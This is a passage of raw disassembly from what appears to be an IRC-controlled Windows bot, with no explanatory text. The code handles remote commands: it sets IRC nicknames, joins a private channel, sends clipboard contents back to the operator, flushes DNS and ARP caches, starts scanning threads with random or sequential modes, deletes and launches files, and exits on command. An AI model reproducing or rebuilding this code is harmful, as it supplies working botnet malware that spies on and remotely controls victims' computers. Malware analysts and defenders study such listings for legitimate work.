; ---------------------------------------------------------------------------


loc_4091A7:				; CODE XREF: sub_406BAB+12F6j
					; sub_406BAB+130Bj
		push	[ebp+arg_10]
		call	dword_4170DC	; DeleteFileA
		test	eax, eax
		jz	short loc_4091BE
		push	[ebp+arg_10]
		push	offset dword_41CD6C
		jmp	short loc_4091C9
; ---------------------------------------------------------------------------


loc_4091BE:				; CODE XREF: sub_406BAB+2607j
		push	offset dword_41D038
		call	sub_4052BA
		push	eax


loc_4091C9:				; CODE XREF: sub_406BAB+2611j
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_40BDE7


loc_4091DA:				; CODE XREF: sub_406BAB+272Ej
		add	esp, 10h


loc_4091DD:				; CODE XREF: sub_406BAB+1F39j
					; sub_406BAB+1F50j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4091FE
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_4091F6:				; CODE XREF: sub_406BAB+2140j
		call	sub_404555
		add	esp, 14h


loc_4091FE:				; CODE XREF: sub_406BAB+2128j
					; sub_406BAB+2635j ...
		mov	esi, [ebp+arg_24]
		jmp	loc_408A8E
; ---------------------------------------------------------------------------


loc_409206:				; CODE XREF: sub_406BAB+12CCj
					; sub_406BAB+12E1j
		push	[ebp+arg_10]
		call	sub_40C3AF
		push	eax
		call	sub_405AA1
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		push	[ebp+arg_10]
		cmp	eax, esi
		lea	eax, [ebp+var_2E4]
		jnz	short loc_40922D
		push	offset unk_41CD48
		jmp	short loc_409232
; ---------------------------------------------------------------------------


loc_40922D:				; CODE XREF: sub_406BAB+2679j
		push	offset unk_41CD14


loc_409232:				; CODE XREF: sub_406BAB+2680j
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_408A8E
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h
		jmp	loc_408A8E
; ---------------------------------------------------------------------------


loc_409265:				; CODE XREF: sub_406BAB+12A2j
					; sub_406BAB+12B7j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_405816
		add	esp, 18h
		cmp	eax, 1
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_10]
		jnz	short loc_40928E
		push	offset unk_41CCF0
		jmp	short loc_409293
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_406BAB+26DAj
		push	offset unk_41CCC0


loc_409293:				; CODE XREF: sub_406BAB+1F8Dj
					; sub_406BAB+26E1j ...
		push	eax
		call	sub_40B0B3


loc_409299:				; CODE XREF: sub_406BAB+2DBEj
		add	esp, 0Ch
		jmp	loc_4091DD
; ---------------------------------------------------------------------------


loc_4092A1:				; CODE XREF: sub_406BAB+1278j
					; sub_406BAB+128Dj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_42B410	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4092DE
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_42B390	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_4092F9
		push	dword ptr [eax]


loc_4092C7:				; CODE XREF: sub_406BAB+274Cj
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset dword_41CCA0
		push	eax
		call	sub_40B0B3
		jmp	loc_4091DA
; ---------------------------------------------------------------------------


loc_4092DE:				; CODE XREF: sub_406BAB+2706j
		push	esi
		call	dword_42B454	; gethostbyname
		cmp	eax, ebx
		jz	short loc_4092F9
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_42B45C	; inet_ntoa
		push	eax
		jmp	short loc_4092C7
; ---------------------------------------------------------------------------


loc_4092F9:				; CODE XREF: sub_406BAB+2718j
					; sub_406BAB+273Cj
		push	offset dword_41CC78
		lea	eax, [ebp+var_2E4]


loc_409304:				; CODE XREF: sub_406BAB+1F82j
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx
		jmp	loc_4091DD
; ---------------------------------------------------------------------------


loc_409311:				; CODE XREF: sub_406BAB+124Ej
					; sub_406BAB+1263j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_40B110
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_41CC50
		push	eax
		call	sub_40B0B3
		add	esp, 18h
		jmp	loc_408A6A
; ---------------------------------------------------------------------------


loc_40933A:				; CODE XREF: sub_406BAB+1224j
					; sub_406BAB+1239j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_42B358
		push	[ebp+arg_10]
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jz	short loc_409364
		push	offset dword_41CC30
		jmp	loc_409293
; ---------------------------------------------------------------------------


loc_409364:				; CODE XREF: sub_406BAB+27ADj
		push	offset unk_41CC08
		jmp	loc_409293
; ---------------------------------------------------------------------------


loc_40936E:				; CODE XREF: sub_406BAB+11FAj
					; sub_406BAB+120Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_41C0E8, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_41CBE0
		jmp	loc_409EC0
; ---------------------------------------------------------------------------


loc_409387:				; CODE XREF: sub_406BAB+11D0j
					; sub_406BAB+11E5j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4093C6
		call	sub_40AC17
		cmp	eax, ebx
		jle	short loc_4093AE
		push	eax
		push	offset dword_41CBB4
		jmp	loc_4081E2
; ---------------------------------------------------------------------------


loc_4093AE:				; CODE XREF: sub_406BAB+27F6j
		push	offset dword_41CB88


loc_4093B3:				; CODE XREF: sub_406BAB+18BAj
					; sub_406BAB+191Aj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx
		jmp	loc_4081F1
; ---------------------------------------------------------------------------


loc_4093C6:				; CODE XREF: sub_406BAB+27EDj
		mov	eax, [ebp+var_24]
		lea	edi, [eax+1]
		jmp	short loc_40943A
; ---------------------------------------------------------------------------


loc_4093CE:				; CODE XREF: sub_406BAB+2892j
		mov	esi, [ebp+edi*4+var_A4]
		cmp	esi, ebx
		jz	loc_406FF9
		push	esi
		call	sub_40C3AF
		push	eax
		call	sub_40AB8F
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2E4]
		jz	short loc_4093FD
		push	offset dword_41CB64
		jmp	short loc_409402
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_406BAB+2849j
		push	offset dword_41CB38


loc_409402:				; CODE XREF: sub_406BAB+2850j
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40942C
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40942C:				; CODE XREF: sub_406BAB+2863j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx
		inc	edi


loc_40943A:				; CODE XREF: sub_406BAB+2821j
		cmp	edi, 20h
		jb	short loc_4093CE
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_409444:				; CODE XREF: sub_406BAB+11A6j
					; sub_406BAB+11BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409F32
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_40CE60
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409F32
		push	eax
		push	offset dword_41AC38
		jmp	loc_408E70
; ---------------------------------------------------------------------------


loc_40946D:				; CODE XREF: sub_406BAB+117Cj
					; sub_406BAB+1191j
		push	[ebp+arg_10]
		push	offset dword_41CEB4
		jmp	loc_408E70
; ---------------------------------------------------------------------------


loc_40947A:				; CODE XREF: sub_406BAB+1152j
					; sub_406BAB+1167j
		push	[ebp+esi+var_9C]
		push	[ebp+arg_10]
		jmp	loc_408EC9
; ---------------------------------------------------------------------------


loc_409489:				; CODE XREF: sub_406BAB+1128j
					; sub_406BAB+113Dj
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		jmp	loc_408E70
; ---------------------------------------------------------------------------


loc_409496:				; CODE XREF: sub_406BAB+10ECj
					; sub_406BAB+1101j
		mov	al, byte_41C102
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_41C102
		jz	loc_406FF9
		mov	ecx, edx


loc_4094AD:				; CODE XREF: sub_406BAB+290Aj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4094AD
		cmp	al, bl
		jz	loc_406FF9
		mov	[ebp+arg_18], edx


loc_4094C2:				; CODE XREF: sub_406BAB+2BC1j
		push	7
		pop	esi
		push	esi
		call	sub_40AC96
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 258h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_409517
		push	ecx
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D2C4
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 20h
		jmp	loc_409763
; ---------------------------------------------------------------------------


loc_409517:				; CODE XREF: sub_406BAB+2937j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_419068, ebx
		mov	[ebp+var_304], 14h
		mov	[ebp+var_318], esi
		mov	[ebp+var_314], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_409580
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_419068
		lea	esi, [eax-0Ah]


loc_40954A:				; CODE XREF: sub_406BAB+29B7j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409566
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_40954A
		jmp	short loc_409580
; ---------------------------------------------------------------------------


loc_409566:				; CODE XREF: sub_406BAB+29ADj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_300], eax
		imul	ecx, 3Ch
		mov	ecx, dword_419068[ecx]
		mov	[ebp+var_31C], ecx


loc_409580:				; CODE XREF: sub_406BAB+2992j
					; sub_406BAB+29B9j
		cmp	[ebp+var_31C], ebx
		jz	loc_409789
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_42B37C	; getsockname
		mov	al, [ebp+var_913]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_42B45C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40B110
		xor	eax, eax
		cmp	[ebp+var_913], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_40D3C0
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_409622


loc_409600:				; CODE XREF: sub_406BAB+2A75j
		cmp	eax, ebx
		jz	short loc_409622
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_40D3C0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_409600


loc_409622:				; CODE XREF: sub_406BAB+2A53j
					; sub_406BAB+2A57j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_9C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		call	sub_40BDE7
		push	offset byte_422270
		push	offset aPrv_1	; "#prv##"
		call	sub_40C250
		add	esp, 14h
		test	eax, eax
		jz	short loc_40968C
		push	offset aPrv_1	; "#prv##"
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_40BDE7
		add	esp, 0Ch
		jmp	short loc_409692
; ---------------------------------------------------------------------------


loc_40968C:				; CODE XREF: sub_406BAB+2AC8j
		mov	[ebp+var_3A0], bl


loc_409692:				; CODE XREF: sub_406BAB+2ADFj
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4096A4
		mov	eax, offset aSequential	; "Sequential"


loc_4096A4:				; CODE XREF: sub_406BAB+2AF2j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D1D8
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	7
		push	eax
		call	sub_40AA54
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_401704
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_40977F
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D1A0
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch


loc_409737:				; CODE XREF: sub_406BAB+2BDCj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409756
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	esi
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_409756:				; CODE XREF: sub_406BAB+2B8Fj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx


loc_409763:				; CODE XREF: sub_406BAB+2967j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4094C2
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_409777:				; CODE XREF: sub_406BAB+2BDAj
		push	32h
		call	dword_417040	; Sleep


loc_40977F:				; CODE XREF: sub_406BAB+2B6Fj
		cmp	[ebp+var_2EC], ebx
		jz	short loc_409777
		jmp	short loc_409737
; ---------------------------------------------------------------------------


loc_409789:				; CODE XREF: sub_406BAB+29DBj
		push	offset unk_41D28C


loc_40978E:				; CODE XREF: sub_406BAB+2C07j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3
		pop	ecx
		pop	ecx
		jmp	loc_408A6A
; ---------------------------------------------------------------------------


loc_4097A1:				; CODE XREF: sub_406BAB+10C2j
					; sub_406BAB+10D7j
		push	4
		call	sub_40AC96
		test	eax, eax
		pop	ecx
		jle	short loc_4097B4
		push	offset unk_41CB18
		jmp	short loc_40978E
; ---------------------------------------------------------------------------


loc_4097B4:				; CODE XREF: sub_406BAB+2C00j
		mov	eax, [ebp+esi+var_A0]
		mov	edi, 104h
		cmp	eax, ebx
		jz	short loc_4097D7
		push	eax
		lea	eax, [ebp+var_7EC]
		push	edi
		push	eax
		call	sub_40BDE7
		add	esp, 0Ch
		jmp	short loc_4097E6
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_406BAB+2C17j
		lea	eax, [ebp+var_7EC]
		push	edi
		push	eax
		push	ebx
		call	dword_41704C	; GetModuleFileNameA


loc_4097E6:				; CODE XREF: sub_406BAB+2C2Aj
		mov	esi, [ebp+esi+var_9C]
		cmp	esi, ebx
		jnz	short loc_4097F6
		mov	esi, offset byte_41C1A0


loc_4097F6:				; CODE XREF: sub_406BAB+2C44j
		push	esi
		lea	eax, [ebp+var_6E8]
		push	edi
		push	eax
		call	sub_40BDE7
		mov	eax, dword_41C0D8
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_5DC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5E0], ebx
		mov	[ebp+var_7F0], eax
		lea	eax, [ebp+var_5D8]
		push	eax
		call	sub_40B110
		mov	eax, [ebp+var_4]
		mov	[ebp+var_558], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_6E8]
		push	eax
		lea	eax, [ebp+var_7EC]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_5DC]
		push	offset unk_419458
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	4
		push	eax
		call	sub_40AA54
		add	esp, 38h
		mov	[ebp+var_5E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_40A573
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_5E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_4098C9
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		push	offset unk_41CADC
		jmp	loc_409EC0
; ---------------------------------------------------------------------------


loc_4098C1:				; CODE XREF: sub_406BAB+2D24j
		push	32h
		call	dword_417040	; Sleep


loc_4098C9:				; CODE XREF: sub_406BAB+2D03j
		cmp	[ebp+var_550], ebx
		jz	short loc_4098C1
		jmp	loc_408A6A
; ---------------------------------------------------------------------------


loc_4098D6:				; CODE XREF: sub_406BAB+1098j
					; sub_406BAB+10ADj
		mov	esi, [ebp+esi+var_A0]
		cmp	esi, ebx
		jz	short loc_4098E9
		push	esi
		call	sub_40C3AF
		jmp	short loc_4098F0
; ---------------------------------------------------------------------------


loc_4098E9:				; CODE XREF: sub_406BAB+2D34j
		push	7
		call	sub_40ACB5


loc_4098F0:				; CODE XREF: sub_406BAB+2D3Cj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409F32
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4010CA


loc_40990B:				; CODE XREF: sub_406BAB+232Bj
		add	esp, 10h
		jmp	loc_409F32
; ---------------------------------------------------------------------------


loc_409913:				; CODE XREF: sub_406BAB+106Ej
					; sub_406BAB+1083j
		mov	eax, dword_42B310
		cmp	eax, ebx
		jz	short loc_409936
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jz	short loc_40992F
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40995E
; ---------------------------------------------------------------------------


loc_40992F:				; CODE XREF: sub_406BAB+2D7Bj
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40995E
; ---------------------------------------------------------------------------


loc_409936:				; CODE XREF: sub_406BAB+2D6Fj
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		lea	eax, [ebp+var_2E4]
		jmp	short loc_40995E
; ---------------------------------------------------------------------------


loc_409943:				; CODE XREF: sub_406BAB+1044j
					; sub_406BAB+1059j
		call	sub_405687
		test	eax, eax
		lea	eax, [ebp+var_2E4]
		jz	short loc_409959
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."
		jmp	short loc_40995E
; ---------------------------------------------------------------------------


loc_409959:				; CODE XREF: sub_406BAB+2DA5j
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."


loc_40995E:				; CODE XREF: sub_406BAB+2D82j
					; sub_406BAB+2D89j ...
		push	200h
		push	eax
		call	sub_40BDE7
		jmp	loc_409299
; ---------------------------------------------------------------------------


loc_40996E:				; CODE XREF: sub_406BAB+101Aj
					; sub_406BAB+102Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_40998D
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40998D:				; CODE XREF: sub_406BAB+2DC6j
		push	ebx
		push	[ebp+var_4]
		call	sub_405344
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		push	offset dword_41C9F0
		call	sub_403145
		add	esp, 18h
		jmp	loc_409F32
; ---------------------------------------------------------------------------


loc_4099B7:				; CODE XREF: sub_406BAB+F69j
					; sub_406BAB+F7Ej
		push	[ebp+esi+var_A0]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_403B00


loc_4099CF:				; CODE XREF: sub_406BAB+3A2j
		add	esp, 10h
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_4099D7:				; CODE XREF: sub_406BAB+F3Fj
					; sub_406BAB+F54j
		or	edi, 0FFFFFFFFh
		call	dword_41705C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_A0]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_409A00
		push	esi
		call	sub_40C3AF
		pop	ecx
		mov	edi, eax


loc_409A00:				; CODE XREF: sub_406BAB+2E4Aj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_409A19
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409F32


loc_409A19:				; CODE XREF: sub_406BAB+2E63j
		push	ebx
		call	sub_40A0F0
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41C9D4
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		add	esp, 28h
		jmp	loc_409F32
; ---------------------------------------------------------------------------


loc_409A5E:				; CODE XREF: sub_406BAB+F15j
					; sub_406BAB+F2Aj
		push	1Ch
		call	sub_40AC96
		test	eax, eax
		pop	ecx
		jle	short loc_409A81
		cmp	[ebp+var_8], ebx
		jnz	loc_406FF9
		push	ebx
		push	[ebp+var_4]
		push	offset unk_41C9B4
		jmp	loc_40A094
; ---------------------------------------------------------------------------


loc_409A81:				; CODE XREF: sub_406BAB+2EBDj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_4C4]
		push	80h
		push	eax
		call	sub_40BDE7
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_A0]
		mov	[ebp+var_4C8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_43C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_438], eax
		mov	[ebp+var_440], ebx
		jz	short loc_409AE2
		push	esi
		push	offset aFull	; "full"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409AE2
		mov	[ebp+var_440], 1


loc_409AE2:				; CODE XREF: sub_406BAB+2F1Aj
					; sub_406BAB+2F2Bj
		lea	eax, [ebp+var_2E4]
		push	offset dword_41C98C
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Ch
		push	eax
		call	sub_40AA54
		add	esp, 14h
		mov	[ebp+var_444], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		push	offset sub_4059C3
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_444]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_409B6F
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41C950
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch


loc_409B55:				; CODE XREF: sub_406BAB+1649j
					; sub_406BAB+166Bj ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		pop	ecx
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_409B67:				; CODE XREF: sub_406BAB+2FCAj
		push	32h
		call	dword_417040	; Sleep


loc_409B6F:				; CODE XREF: sub_406BAB+2F8Dj
		cmp	[ebp+var_434], ebx
		jz	short loc_409B67
		jmp	short loc_409B55
; ---------------------------------------------------------------------------


loc_409B79:				; CODE XREF: sub_406BAB+EEBj
					; sub_406BAB+F00j
		cmp	[ebp+var_8], ebx
		jnz	short loc_409B98
		push	ebx
		push	[ebp+var_4]
		push	offset dword_41C934
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_409B98:				; CODE XREF: sub_406BAB+2FD1j
		push	[ebp+arg_4]
		call	dword_42B468	; closesocket
		call	dword_42B344	; WSACleanup
		call	sub_4054C7
		push	ebx
		call	dword_41706C	; ExitProcess


loc_409BB3:				; CODE XREF: sub_406BAB+EC1j
					; sub_406BAB+ED6j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40A1F9
		pop	ecx
		pop	ecx
		jmp	short loc_409BE3
; ---------------------------------------------------------------------------


loc_409BCA:				; CODE XREF: sub_406BAB+E97j
					; sub_406BAB+EACj
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40A4AD
		add	esp, 0Ch


loc_409BE3:				; CODE XREF: sub_406BAB+301Dj
		push	eax
		push	[ebp+var_9C]


loc_409BEA:				; CODE XREF: sub_406BAB+23CCj
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h
		jmp	loc_409F32
; ---------------------------------------------------------------------------


loc_409BFA:				; CODE XREF: sub_406BAB+E6Dj
					; sub_406BAB+E82j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4030CD
		jmp	loc_409DF9
; ---------------------------------------------------------------------------


loc_409C10:				; CODE XREF: sub_406BAB+E43j
					; sub_406BAB+E58j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_4C4]
		push	80h
		push	eax
		call	sub_40BDE7
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_A0]
		mov	[ebp+var_4C8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_43C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_438], eax
		jz	short loc_409C6A
		push	offset dword_41C930
		push	esi
		call	sub_40C250
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_440], eax
		jmp	short loc_409C70
; ---------------------------------------------------------------------------


loc_409C6A:				; CODE XREF: sub_406BAB+30A3j
		mov	[ebp+var_440], ebx


loc_409C70:				; CODE XREF: sub_406BAB+30BDj
		lea	eax, [ebp+var_2E4]
		push	offset dword_41C910
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Dh
		push	eax
		call	sub_40AA54
		add	esp, 14h
		mov	[ebp+var_444], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		push	offset sub_40AABF
		push	ebx
		push	ebx
		call	dword_417048	; CreateThread
		mov	ecx, [ebp+var_444]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42CF74[ecx], eax
		jnz	short loc_409CF0
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_41C8D4
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch
		jmp	loc_4091FE
; ---------------------------------------------------------------------------


loc_409CE8:				; CODE XREF: sub_406BAB+314Bj
		push	32h
		call	dword_417040	; Sleep


loc_409CF0:				; CODE XREF: sub_406BAB+311Bj
		cmp	[ebp+var_434], ebx
		jz	short loc_409CE8
		jmp	loc_4091FE
; ---------------------------------------------------------------------------


loc_409CFD:				; CODE XREF: sub_406BAB+DC7j
					; sub_406BAB+DDCj
		push	offset aKtsFinally ; "KTS-Finally"
		lea	eax, [ebp+var_2E4]
		push	offset dword_41C8B8
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 20h
		jmp	loc_4091FE
; ---------------------------------------------------------------------------


loc_409D34:				; CODE XREF: sub_406BAB+D9Dj
					; sub_406BAB+DB2j
		push	dword_47F740
		call	sub_40A0F0
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41C888
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 24h
